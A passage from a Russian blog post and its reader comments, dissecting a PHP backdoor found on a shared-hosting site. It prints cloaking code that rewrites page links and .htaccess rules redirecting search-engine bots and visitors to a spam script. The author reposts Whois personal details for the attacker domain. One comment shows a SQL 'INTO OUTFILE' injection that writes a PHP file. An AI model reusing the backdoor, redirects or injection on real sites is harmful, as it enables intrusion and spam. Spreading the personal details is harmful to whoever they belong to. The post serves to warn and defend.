            echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
            echo '<html><head>' . "\n";
            echo '<title>404 Not Found</title>' . "\n";
            echo '</head><body>' . "\n";
            echo '<h1>Not Found</h1>' . "\n";
            echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
            echo '<hr>' . "\n";
            echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
            echo '</body></html>';
            exit;
        } else {
    
    
            $crurl = "http://" . @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
            $buf = get_page_by_curl($crurl);
    
            $curx = $cdir . "fff.sess";
            if (@file_exists($curx)) {
                $links = @file($curx, FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES);
                $c = @count($links) - 1;
                shuffle($links);
                if ($c > 20)
                    $c = 20;
                $regexp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
                if (preg_match_all("/$regexp/siU", $buf, $matches)) {
                    $zval = $matches[0];
                    shuffle($zval);
                    foreach ($zval as $val) {
                        if ($c < 0)
                            break;
                        list($l, $anchor) = explode("|||", trim($links[$c]));
                        $new = '<a href="' . $l . '">' . $anchor . '</a>';
                        $buf = str_ireplace($val, $new, $buf);
                        $c--;
                    }
                }
            }
            echo $buf;
        }
    }

    И вкратце что тут происходит. Во первых, тут есть проверка пароля (как ни странно, вроде и бэкдор уже есть без какого либо пароля а тут). Первый блок нужен чтобы проверить сработал ли бэкдор и чтобы распаковывать файлы. На момент написания статьи, файлы которые скачиваются с сервера злоумышленника были удалены.

    Кстати о сервере злоумышленника. Домен зарегистрирован как «f.gghijacktest.com». По Whois удалось узнать что он принадлежит человеку с данными:

    Имя: Gabriel Northrup
    Адрес: str. Ivana Cupala 1, Ljubljana NE 4111 SI
    Телефон: +714022420218
    Email: vlasigor3@gmail.com

    Может кто знает человека ;)

    Вернёмся к коду. Файлы с сервера злоумышленника сохраняются во временном каталоге на сервере, у меня это была папка "~/tmp" и я нашел в ней папку с именем .md5(мой домен), в которой лежали изменённые страницы моего сайта, они нужны только для ботов. Т.е. в поисковике они отображаются как мой сайт, но с непотребным текстом. А вот если на страницы сайта из поисковика заходит пользователь, то им отображался магазин пилюль по адресу f.gghijacktest.com/lp.php, но в адресе браузера, разумеется, показывается мой домен.

    Всех остальных, кто попал на сайт не из поисковиков, либо напрямую ждала, обычная страница, где ссылки пытаются заменить на другие, но этого у меня не происходило т.к. я не нашёл у себя соответствующий файл fff.sess.

    А теперь разберём .htaccess:

    RewriteEngine on
    RewriteCond %{ENV:REDIRECT_STATUS} 200
    RewriteRule ^ - [L]
    RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
    RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
    RewriteRule ^(.*)$ bootlegger-limiter.php?$1 [L]

    Тут происходит самое главное, перенаправление ботов и людей из поисковиков в выше разобранный скрипт. 2-я и 3-я строки говорят что надо остановиться после первого удачного применения правил. А последующие строки собственно и определяют правила для ботов и поисковиков и перенаправляют их на bootlegger-limiter.php.

    Что касается двух остальных скриптов enthusiasms-raw.php и equaling-intangibles.php, то они абсолютно одинаковые и предназначены, судя по функции mail, для рассылки спама.

    Заключение


    Вот таким нехитрым образом злоумышленник может воспользоваться вашим сервером и вы, возможно, как и я даже не заметите этого. Стоит отметить, что на этом сервере у меня не хранится ничего важного и поэтому в него я заглядываю очень редко. Но даже если бы и заглядывал почаще, то ничего не подозревая, может и не заметил бы пару лишних файлов.

    В комментариях можете рассказать о ваших способах борьбы с подобными атаками, думаю многим это будет интересно.

    Надеюсь, мой опыт окажется полезным, и вы в очередной раз проверите свои сервера на наличие таких вот простых бэкдоров. Спасибо за внимание.

    Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

    Взламывали ли ваши сервера?
    Вы проверили ваши сервера после прочтения?
    Поделиться публикацией
    Комментарии 89
      0
      .htaccess закрывать 444 правами… ну зачем… да?
        +1
        Если взломали сервер, это не поможет.
          0
          файлы можно загрузить и не имея доступа к серверу.
          К автору статьи — (он так и не выяснил причины взлома) — так какие права на файл .htaccess были?
            0
            404, как ни странно. Но я еще раз повторю, права на файл можно менять.
              +1
              Тогда ок. Просто этот аспект вы упустили в описании выявления взлома.

              У вас не был подключен яндекс вебмастер? Он присылает письма если сайт заражен
                0
                Был подключен только Google Analytics, который письмо не прислал. Search Console по идее тоже должен уведомлять.
                0
                А владелец файла? Если использовали дыру где-нибудь в CMS/веб сервере, а владельцем .htaccess был бы какой-нибудь root, то такого бы не произошло
              +1
              Смотря что взломали. 99.9% всех взломов — это взлом CMS тупым ботом без какого либо дальнейшего повышения привилегий. Если www-data (или от кого там выполняются скрипты) при этом может писать в ограниченное количество каталогов, из которых запрещено исполнение скриптов, дальнейшей эскалации взлома не происходит.
            –33
            А потом меня еще спрашивают, за что я на люблю PHP…
              +17
              При наличии возможности заливать файлы на сервер язык программирования уже не имеет значения.
                –13

                в связке, например, nginx + nodejs такой взлом вряд ли удастся. а если еще все разнести в docker контейнеры, то все интереснее становится. для взломщика, конечно.


                я не говорю что невозможно, но гораздо сложнее взломать простой заливкой файлов. на шаред хостинге так кончено не настроишься

                  –1
                  Ну как вариант можно подсунуть MySQL маааленькую инъекцию с нагрузкой вида:
                  SELECT a INTO OUTFILE "/..../cracker.php"
                  FROM (SELECT "<?php echo 'Hello World!';")
                  Да, нужны FILE привилегии, но периодически юзер создаётся с ALL PRIVILEGES WITH GRANT OPTION, а тут уже медицина бессильна.
                +4
                А при чем тут PHP? Взломали то не через него, как пишет автор.
                  0
                  Это маловероятно, но не исключено. Т.к. заметил поздно, логов никаких не сохранилось. Но Yii взламывать, как написал в статье, не зная структуру сайта сложно.
                  +1
                  Дыра, она на любом языке — дыра.
                    –19
                    Да ладно :D пэпэха — сам по себя одна сквозная дыра. Как на нем люди пишут — он же корежит мышление, я не могу представить чтобы мне подложили исполняемый файл в папку и происходило вышеописанное, как у автора.

                    Меня китайские боты заколебали уже, в логах 404 одни login.php, admin.php, phpmyadmin.php, administrator.php, хочутебявзломать.php

                    А у меня все на Django — китайский_облом.php :D

                    А по теме поста — гигиена прежде всего — длинные пароли, свои VDSки, логин только с ключами.
                    Забрутфорсили его, ага, 2016 на улице, боты терабитные атаки устраивают, а он с 5.2 версией и «я вообще редко на сервер заглядываю»…
                      –2
                      Держите нас в курсе
                  –4
                  Любляна, Ивана Цупала? Серьезно? :)
                    0
                    Какая версия php на сервере?
                      –1
                      5.3
                        0
                        2016 год, 5,3… Хоть последняя версия 5,3 или нет? И да, Вы же знаете что она не поддерживается уже?
                          +14
                          Что такого, собственно? И 5.2 бывает. Если не хотят платить за переписывание под новый PHP, что предлагаете? А платить не хотят правильно: работало пять лет — с чего бы оно вдруг должно было перестать работать и потребовало денег? Обновления? Мне не нужны ваши обновления, мне нужно, чтобы сайт работал, тот самый, за который я уже давно расплатился.

                          Затрахали с этим «не поддерживается уже». Да, не поддерживается, но используется. И Windows XP, бывает, используется, если нужный софт больше ни под чем не запускается. Вариантов-то нет.
                            +1
                            Затрахали с этим «не поддерживается уже»

                            Писателям и пользователям малвари нравится ход ваших мыслей. :)
                              +2
                              Затрахали с этим «не поддерживается уже». Да, не поддерживается, но используется. И Windows XP, бывает, используется, если нужный софт больше ни под чем не запускается. Вариантов-то нет.
                              Я Windows 98 иногда использую, но это же не повод пропагандировать ее использование.
                                +2
                                конечно не повод. Но иногда другого выбора нет, если например провайдер не обнавляет свой софт, а менять провайдера не рентабельно
                                –2
                                Не хотят платить — так зачем кричать про то, что взломали? Старые версии php — кладезь уязвимостей.

                                Затрахали уже с этим «работает — не трогай». И потом жаловаться что взломали. Если тебе это надо и надо чтобы работало — нужно готовиться платить за постоянную поддержку.
                                  0
                                  Простите, о каких уязвимостях идёт речь? То, что они есть никто не отрицает, но взломать сервер через сам php скорее невозможно. Среди открытых уязвимостей я не нашёл ни одну предоставляющую какой либо доступ для записи. Я уже неоднократно повторял, что если взлом был через приложение, то скорее ломились через неоткрытую уязвимость Yii, а не через сам php.
                                    0
                                    Почему взята именно 5.3.24? До этой версии есть несколько уязвимостей, которые позволяют выполнить рандомный код и получить доступ к серверу
                                      0
                                      Эту версию предоставляет хостинг провайдер. И провайдер довольно крупный, если бы были значимые угрозы безопасности, то думаю они сразу же бы отказались от неё. Что ещё интересно, альтернатива для php у них только версия 5.4, а 7-й нет.
                                      0
                                      0-day для ломания хостинга? Маловероятно. Обычно такое можно увидеть, когда профит получили те, кто дыру нашел и бросил инфу в паблик. CVE к этому времени уже есть обычно.
                                  +1

                                  У меня на машине с плеском и на 5.2 недавно обновления прилетали. и плеск 11.5, не последний. Так что ой

                                0
                                Интереснее версия Yii
                                  0
                                  1.1.12
                                    0
                                    Интересно. Сходу CVE для неё не нашел.
                                    А вы просто удалили левые файлы и ждёте их нового появления?
                                      0
                                      Если взлом был через Yii, то было бы интересно узнать как злоумышленник записал файлы в корень. Поэтому я написал, что этот сценарий маловероятен.
                                      А вы просто удалили левые файлы и ждёте их нового появления?
                                      Именно :)
                                        +1
                                        Можете купить выделенный сервер или виртуалку, и установить и настроить sysdig. Так вы узнаете, что конкретно делал злоумышленник.
                                +6
                                > Вы проверили ваши сервера после прочтения?

                                Когда??? Я едва дочитал текст и сразу наткнулся на опрос. Дайте хоть пару минут :-)
                                  +1
                                  я в процессе чтения проверил через web-sniffer, Search Console и гугл)))
                                  +6
                                  Я предпочитаю полностью запрещать запись в директории (кроме тех, что действительно нужны движку на запись) и полностью запрещаю htaccess файлы, перенося всю конфигурацию в конфиг файлы apache, доступные только руту. Кроме того пользователь под которым работает apache должен быть максимально бесправным, а все core расширения запрещены, кроме списка действительно нужного (в 2.4 с этим стало гораздо удобнее управляться).

                                  Если есть возможность использовать selinux, то можно отрубить возможности apache по самостоятельным открытиям сокетов и запускам других приложений. Но это уже на любителя да и тяжеловато. Ну и чрутирование/контейнеризация, если возможно.
                                    0
                                    Запретить htaccess — неплохое решение, думаю, но для шаред-хостингов не прокатит, к сожалению. Что бы вы могли посоветовать в этом случае?
                                      0
                                      А почему, собственно, не прокатит? Что мешает иметь один кусок кода, который имеет права на запись в .htaccess-ы, проверяет, всё что можно и делает это аккуратно. Работает при этом от отдельного пользователя и запускается через sudo и/или доступен через локальный сокет?
                                        +1
                                        Потому, что это шаред хостинг. Там обычно один пользователь.
                                          0
                                          Тут мы опять получаем проблему с тем, что если в где-то в движке есть уязвимость, то он может написать свои .htaccess в те директории к которым есть доступ, а это уже путь к уязвимости описаной в посте.

                                          К сожаленю нельзя ограничить .htaccess в другом .htaccess. Т.е. нельзя на шаред хостинге создать структуру в которой все .htaccess либо лежат в реадолни, либо не читаются апачем. Такое навернуть можно только если есть доступ к конфигу. И с этой точки зрения я очень позитивно смотрю на фреймворки, которые хранят временные и пользовательские файлы в базе данных. Такие движки и контейнизировать легко.
                                          0
                                          Зависит от того, как устроен шаред-хостинг. Если скрипты выполняются от пользователя апача, а файлы принадлежат вам (и апач входит в вашу группу), то можно у группы отнять w и x на .htaccess.

                                          Если скрипты выполняются от вас, тут, конечно, ничего не запретишь. Только контролировать чексуммы.
                                          +1
                                          При описанных вами экзерсисах отвалится половина современных CMS
                                            0
                                            Дык отвалилось — пошли по функционалу, разрешили писать куда она не может не писать, остальное оставили закрытым. Заодно — изучили хоть как-то CMS и её привычки. Или вы предпочитаете ставить софт бесконтрольно — а, фиг с ним, пусть что хочет, то и делает?
                                              0
                                              А я и не говорю, что это неправильный подход. Просто я более, чем уверен, что сами писатели CMS о таких вещах не очень задумываются
                                                0
                                                Это вот да. Прямо хоть антирейтинг CMS-ок заводи.
                                              0
                                              Самые распространённые не отвалятся. Сломается часть функций по администрированию через админку CMS, а для всего остального можно добиться, что на запись будут доступны только те каталоги, из которых запрещён запуск скриптов.
                                                0
                                                При обилии плагинов и низком пороге вхождения в популярных CMS есть куча плагинов, которые не используют, например, API, а лазят по системный файлам и папкам и по-другому не работают. Хостеры тоже порой развлекаются — у нас какой-то адский антивирус на хостинге есть, который, например, банил всю площадку при попытке загрузки картинок через базовый интерфейс CMS
                                                0
                                                Это только вершина айсберга. Скорее проблема в том, что нужно реально понимать что ты делаешь. Но с другой стороны админов держат не за бороду и свитер, а за другие заслуги.

                                                Если коротко, то лучший путь работы со стронней CMS это, во-первых, разобраться в движке хотябы с точки зрения админа (куда пишет, откуда берет конфиги, как обновляется, как конектится к другим сервисам), и, во-вторых, построить CI для нужного софта, хотя бы на уровне дайджеста коммитов, который можно глазами посмотреть.
                                                0
                                                Если есть возможность использовать selinux, то можно отрубить возможности apache по самостоятельным открытиям сокетов и запускам других приложений. Но это уже на любителя да и тяжеловато. Ну и чрутирование/контейнеризация, если возможно.
                                                Гораздо проще настроить разделение прав через неймспейсы, через тот же systemd, например: Изолируем демоны с systemd или «вам не нужен Docker для этого!». Но у автора, вроде, хостинг, а не собственный сервер.
                                                  0
                                                  Это заработает, когда будет докер-стайл продукт, который всё то же самое будет делать одной кнопкой. А ещё лучше, когда мэйнтейнеры демонов научатся это делать из коробки, как научились понижать привилегии.
                                                    0
                                                    Предполагаю, это зависит от мейнтейнеров дистрибутива. В Fedora, например, на многие демоны написаны ограничивающие правила systemd, как и SELinux. Debian и Ubuntu на этом поприще в отстающих, но в 9 Debian, скорее всего, будет доступен grsecurity.
                                                0
                                                Можно защитится так:
                                                1. В .htaccess установить запрет на вызов всех исполняемых файлов (php, py и т.п.), кроме одного index.php
                                                2. Сделать слепок системы (хеш-суммы всех исполняемых файлов, html, css, js)
                                                3. В случае обновления модулей обновлять слепок.
                                                4. Сверять этот слепок раз в сутки по расписанию cron. В случае появления новых файлов или изменения существующих уведомлять вебмастера.
                                                  0
                                                  Слепок системы? Это называется IDS :) И есть готовый софт, который именно так и делает. tripwire, например.
                                                    0
                                                    Готовый софт, наверное, стоит денег и я не уверен что он ставится на любой shared хостинг. Мне не сложно написать 10 строк кода, которые сделают такой слепок.
                                                  +1
                                                  Тема рулила 6-3 года назад. Год назад поисковики начали давить такие сайты в поиске. И уже почти не актуальна.
                                                    0
                                                    Я и сам так думал, но в статье конкретный пример. В поисковике сайт показывался, только с надписью, что он возможно был взломан.
                                                      0
                                                      Увы. Есть у нас старый сайт на шаред-хостинге, владельцы не имеют средств переписать его, или хотя бы портировать под новую CMS. Ломают как по часам. Подозреваю, что боты. Проблема решается git checkout, пока не найдутся деньги, но сам факт, что до сих пор такое происходит.
                                                        +6
                                                        Деньги и не найдутся, потому, что проблема решается git checkout. Зачем платить, если и так решается?
                                                          0
                                                          А что мешает, если ломают «как по часам», отследить методику взлома и костылём закрыть конкретную дырку? Например, если ломают через админку, с помощью того же .htaccess закрыть админку доп.паролем (basic-auth) и т.п.?
                                                        +1
                                                        В таких случаях еще необходимо логировать POST-запросы. Судя по датам изменения файлов — их скоро вновь попытаются залить — вот из файла логов можно будет узнать через какую дыру в системе.
                                                          0
                                                          Логирование включено, но срок истечения 30 дней. Поэтому с нетерпением жду когда же это произойдёт снова.
                                                            0
                                                            Почитай про php_value auto_prepend_file в .htaccess
                                                            Если хостер не ограничивал функционал, то сможешь логи у себя сохранять в отдельный файл.
                                                          0
                                                          Обновление yii от 2012 года, которое уже даже не на поддержке. Я думаю никакие контейнеры не помогут. Контейнеры и любые прослойки вообще никак не помогут сайту от дыр и скорее наоборот. Максимум немного обезопасят хост машину.
                                                            +1
                                                            Хост-машину и соседние сайты.
                                                            А заодно сильно упростят откат к старому бэкапу, например.
                                                            0
                                                            Применительно не только к этой истории, а вообще:
                                                            Hash&logs.
                                                            1.Регулярная проверка хэшей поможет своевременно обнаружить несанкционированные изменения чувствительных фалов;
                                                            2. Логи дадут информацию о происходящем в момент времени, полученный из первой манипуляции.
                                                            Если есть возможность, логи лучше слать на другой, отдельный сервер.
                                                              0

                                                              Когда у меня мой бложик похакали, я почесал репу и переделал его на Hugo (благо динамический контент на нём не требовался).


                                                              В результате удалось избавиться от CMS, PHP и MySQL. Остался только Linux и nginx.

                                                                +10
                                                                Изначальный заголовок больше заинтриговал ))
                                                                image
                                                                  +3
                                                                  Да, зря поменяли.))
                                                                  0
                                                                  Раньше часто такие редиректы в .htaccess клиентов находил, в 70% случаев это старые Joomla/Wordpress или их плагины написаные пионерами, но были и тупо брутфорсы ftp-пароля которые юзеры вообще не меняют годами, так что парольчики нужно менять регулярно и обязательно после таких случаев.
                                                                    0

                                                                    Как-то написал простенькую форму загрузки файла для одного единственного случая — надо было чтобы один очень неподготовленный пользователь залил файл. Конечно, никаких проверок не было, скрипт был написан за пару минут. Файл получил, а про скрипт забыл. Вспомнил, только когда на почту посыпались сообщения о неудачной отправке огромного количества писем сомнительного содержания. Благо, сервер домашний, ничего серьезного там не было.

                                                                      0
                                                                      вроде бы как всё обсудили, но вот запретить авторизацию ftp доступа для всех, а оставить для своего ip?
                                                                        0
                                                                        А где найденная и закрытая дыра в CMS?
                                                                        Завтра будете повторять?

                                                                        И еще — всего несколько файлов нашли?
                                                                        А где остальные шеллы?
                                                                        По опыту лечения (не такого, а закрытием уязвимостей) их не меньше 20-30, а иногда порядка 100 на каждый сайт на CMS
                                                                          +1
                                                                          Для чукчей, которые писатели.
                                                                          Цитата:
                                                                          «Я не знаю как именно взломали хостинг, т.к. на нём не висят сайты использующие CMS.»
                                                                          0
                                                                          Я что-то на самом деле так и не понял, как первый файл попал на сервер?
                                                                            0
                                                                            Наиболее вероятный вариант: брутфорсом взломали ftp либо ssh.
                                                                            Менее вероятный: подкинули через Yii.
                                                                              0
                                                                              а как могли подкинуть через yii? Или автор использовал модули для Yii?
                                                                                0
                                                                                модули есть, но для доступа к ним требуется авторизация. Поэтому этот вариант развития событий маловероятен.
                                                                                0
                                                                                Остается загадкой, почему имея доступ с паролем злоумышленники ограничились только одним файлом. могли бы сразу уж все поставить, зачем эти бэкдоры…
                                                                                  0
                                                                                  Для меня это тоже не совсем понятно. Можно объяснить это тем, что одни взламывают, а другие заливают файлы. Либо злоумышленники ждут пару дней не заметит ли владелец активности.
                                                                              0
                                                                              Почитал бегло комменты. Зачем IDS и какие-то нагромождения? Надо просто понять, что есть юзер, под которым выполняется php, допустим www-data. А есть владелец файлов и директорий проекта на сервере. Это не одно и то же.
                                                                              Что нужно сделать:
                                                                              1) добавить владельца в группу www-data;
                                                                              2) выставить права на файлы и каталоги такие, чтобы владелец мог читать и писать, а группа была www-data и могла только читать;
                                                                              3) определиться с каталогами, где требуются права записи для php и добавить туда права записи группе www-data.

                                                                              Всё. Даже если будет дырка в пхп коде, то записать что-либо злоумышленник не сможет, не зная файловой структуры проекта. Даже если он узнает, куда можно положить свой скрипт и положит, то прав на изменение основных файлов проекта у него не будет, как и доступа к уязвимым файлам системы.
                                                                                0
                                                                                Если у вас Shared-hosting, то очень велика вероятность что взломали именно его. Ради эксперимента интересно было бы проверить другие сайты, которые расположены на этом IP.
                                                                                  0
                                                                                  взлом был совершен давно и поэтому никаких логов не осталось, сейчас жду повтора. Возможно Вы правы и взломали хостинг. Поищу как можно сделать Reverse DNS lookup для shared хостинга и попробую curlом постучаться как гуглбот, может что нибудь и проясниться. Спасибо за идею.
                                                                                    0
                                                                                    Проверил. Из найденных мной 196 сайтов, только 2 оказались зараженными, но это из за того, что оба они на wordpress. Поэтому думаю всё же взлом был по ftp или ssh.
                                                                                    0
                                                                                    … также нужно проверить лог файлы. Если повезет, то вы найдете какие файлы/функции вызывались при взломе. И тогда можно подробно эти файлы изучить.

                                                                                    В целом не важно какие дальнейшие уязвимые места с правами доступа,… существуют. Важно узнать каким способом загрузили самый первый скрипт.
                                                                                      0
                                                                                      Как то вел блог на wordpress и потянуло меня сменить шаблон — выбрал на одном сайте где было множество шаблонов, скачал и установил естественно бесплатно )) — После этого через 2-3 месяца мой друг заметил, что наши же новости появляются на другом сайте автоматически. В итоге сменили шаблон.

                                                                                      Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                                      Самое читаемое